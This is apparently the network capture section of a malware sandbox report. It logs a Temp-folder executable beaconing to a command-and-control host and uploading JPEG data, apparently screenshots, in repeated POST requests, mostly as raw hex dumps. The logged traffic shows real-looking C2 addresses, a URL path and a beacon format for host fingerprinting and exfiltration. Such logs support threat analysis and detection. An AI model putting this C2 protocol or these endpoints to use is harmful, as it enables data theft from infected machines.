Nov 12, 2021 22:24:12.209464073 CET	10755	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:12.231785059 CET	10764	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:12.231863022 CET	10781	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:12.254282951 CET	10789	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:12.254369974 CET	10808	OUT	Data Raw: 61 82 fe 55 f8 9d 67 c5 9b 54 b0 f8 61 15 9c 45 8c 70 4b 04 4a 58 f2 42 82 06 7d f8 af 9e ab bd f1 67 c5 1b ef 16 e8 6d a5 dc e9 d6 f0 21 91 64 0f 13 b6 41 1f 5f ad 70 55 78 78 4e 31 7c db dc 55 e5 19 49 72 ed 60 a5 a4 a2 b7 30 0a 29 45 06 80 0a Data Ascii: aUgTaEpKJXB}gm!dA_pUxxN1\|UIr`0)E(4;Pzm8P@:AKLBh0E%-Mj-Q@Rm(!L8UNDQL)TKN"GR3N+Si0m(H\QLC?0SZ%)hD@RFSMT'GjL
Nov 12, 2021 22:24:12.254401922 CET	10821	OUT	Data Raw: 40 f9 fd d4 9e 8a 2b e6 80 6b d2 c0 fc 2c 75 3e 08 fc c5 3c 52 67 9a 42 79 a5 ae e3 01 c2 96 90 52 d3 10 51 9a 42 68 a2 e0 28 a5 ed 40 a2 98 80 f5 a7 af 4a 6d 2e 4d 34 26 3f 3c d1 4d 06 94 1c 9a 62 1d 47 4a 41 4b 4c 42 d0 29 05 2d 02 1c 29 45 36 Data Ascii: @+k,u><RgByRQBh(@Jm.M4&?<MbGJAKLB)-)E6%4P!iiE0Gd.ifXRx5H~iKM=(hCN(p4NUE-4t!4)D9S(D4hP4)<U"1NRLQK@
Nov 12, 2021 22:24:12.254420996 CET	10826	OUT	Data Raw: ea da 1b 26 9a de c2 45 56 43 3a bb b1 39 89 f0 15 42 75 c7 24 e4 d5 29 3c 31 61 71 79 69 0e 97 7e 6e 60 7d 5a 6b 09 ae 43 29 50 8b b5 96 41 81 d0 a1 62 4e 48 f9 0e 2a bd ac 39 ad fd 74 ff 00 31 7b 39 5a ff 00 d6 d7 39 4c 52 e2 bb 18 34 0d 0a f3 Data Ascii: &EVC:9Bu$)<1aqyi~n`}ZkC)PAbNH9t1{9Z9LR4N:kq{cy}((<yX-\|qK&TZq;/)Sw$(jEt:6jsZo[ilIs6c~uV'sj][j70e39n)g3HO05D
Nov 12, 2021 22:24:12.254482031 CET	10829	OUT	Data Raw: 9c 7c 84 a5 e9 85 aa 32 fe f4 d2 d5 2e 45 28 0f 2d 4d 2d 51 96 a6 16 ac dc 8b 51 25 2d 4d 2f 51 16 a4 2d 53 cc 5a 89 21 6a 4d f5 11 6a 40 d5 1c c5 72 92 96 a6 96 a8 cb d3 4b 54 b9 14 a2 38 b5 34 b6 69 a4 d3 49 a9 72 2d 21 49 a2 99 9a 01 a9 b9 56 Data Ascii: \|2.E(-M-QQ%-M/Q-SZ!jMj@rKT84iIr-!IVhHE;BhSsNA@@M74P)k=>{`W^"?x/2*'\|kgzxO+PJ5\|Tg!3%
Nov 12, 2021 22:24:12.302145004 CET	10852	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:12 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.4	50088	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:12.402668953 CET	10853	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:13.172868967 CET	10853	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.4	50089	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:13.308990002 CET	10855	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:13.334873915 CET	10855	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.4	50091	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:13.435091972 CET	10859	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:13.435244083 CET	10860	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:13.435445070 CET	10870	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:13.435530901 CET	10872	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:13.457895994 CET	10878	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:13.457931995 CET	10883	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:13.457947016 CET	10885	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:13.457964897 CET	10891	OUT	Data Raw: 99 5b 6d 34 a5 5a 2b ed 4c 29 50 e2 5a 99 54 a5 46 56 ae 14 a6 14 a8 70 34 53 29 95 a6 95 ab 45 29 8c 95 9b 81 a2 99 54 8a 69 5a 9c ad 30 ad 66 e2 68 a4 40 45 34 8a 9c af ad 30 ad 43 45 a9 11 52 53 c8 a4 c5 45 8a 19 46 29 c4 52 11 48 a1 b4 52 e2 Data Ascii: [m4Z+L)PZTFVp4S)E)TiZ0fh@E40CERSEF)RHRQ`\QC1N)aG-qq5tRPzW'T=vS9KyYaQj:a$vwVn<1k5zKq=9pnOxsUEq}"]$2Yez
Nov 12, 2021 22:24:13.457978010 CET	10893	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:13.457987070 CET	10895	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:24:13.458005905 CET	10898	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:13.528306961 CET	10970	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:13 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49811	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:24.719150066 CET	3341	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:24.719284058 CET	3342	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:24.719542980 CET	3352	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:24.719753981 CET	3354	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:24.743607998 CET	3360	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:24.743645906 CET	3365	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:24.743671894 CET	3373	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:24.743721008 CET	3380	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:24.769128084 CET	3388	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:24.769165039 CET	3391	OUT	Data Raw: 61 82 fe 55 f8 9d 67 c5 9b 54 b0 f8 61 15 9c 45 8c 70 4b 04 4a 58 f2 42 82 06 7d f8 af 9e ab bd f1 67 c5 1b ef 16 e8 6d a5 dc e9 d6 f0 21 91 64 0f 13 b6 41 1f 5f ad 70 55 78 78 4e 31 7c db dc 55 e5 19 49 72 ed 60 a5 a4 a2 b7 30 0a 29 45 06 80 0a Data Ascii: aUgTaEpKJXB}gm!dA_pUxxN1\|UIr`0)E(4;Pzm8P@:AKLBh0E%-Mj-Q@Rm(!L8UNDQL)TKN"GR3N+Si0m(H\QLC?0SZ%)hD@RFSMT'GjL
Nov 12, 2021 22:23:24.769220114 CET	3410	OUT	Data Raw: 24 f0 cc b2 e9 b1 5d c5 a9 69 f2 49 34 13 5c c1 6a 0c a2 59 a3 89 98 3b 2e 50 2f f0 31 c1 60 70 3a 76 aa e9 a1 dd 3e a7 05 80 96 df cd 9a c8 5f 29 dc 76 88 fc 93 36 0f 1d 76 8f a6 7b f7 ab 17 1e 23 58 b4 0d 2a d2 c2 da cc ea 31 d9 5c 41 35 d9 8e Data Ascii: $]iI4\jY;.P/1`p:v>_)v6v{#X1\A5A%iTuH@#4?AiDi@`v0wv{c5VIw4[?wWu<j)d2xpH#SxjKIYuO,Bw@dHjC}&_-r[+YE+9
Nov 12, 2021 22:23:24.816281080 CET	3451	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:24 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.4	50092	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:13.468662977 CET	10899	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:13.494066954 CET	10950	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.4	50093	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:13.628390074 CET	10970	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:13.650666952 CET	10972	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:13 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 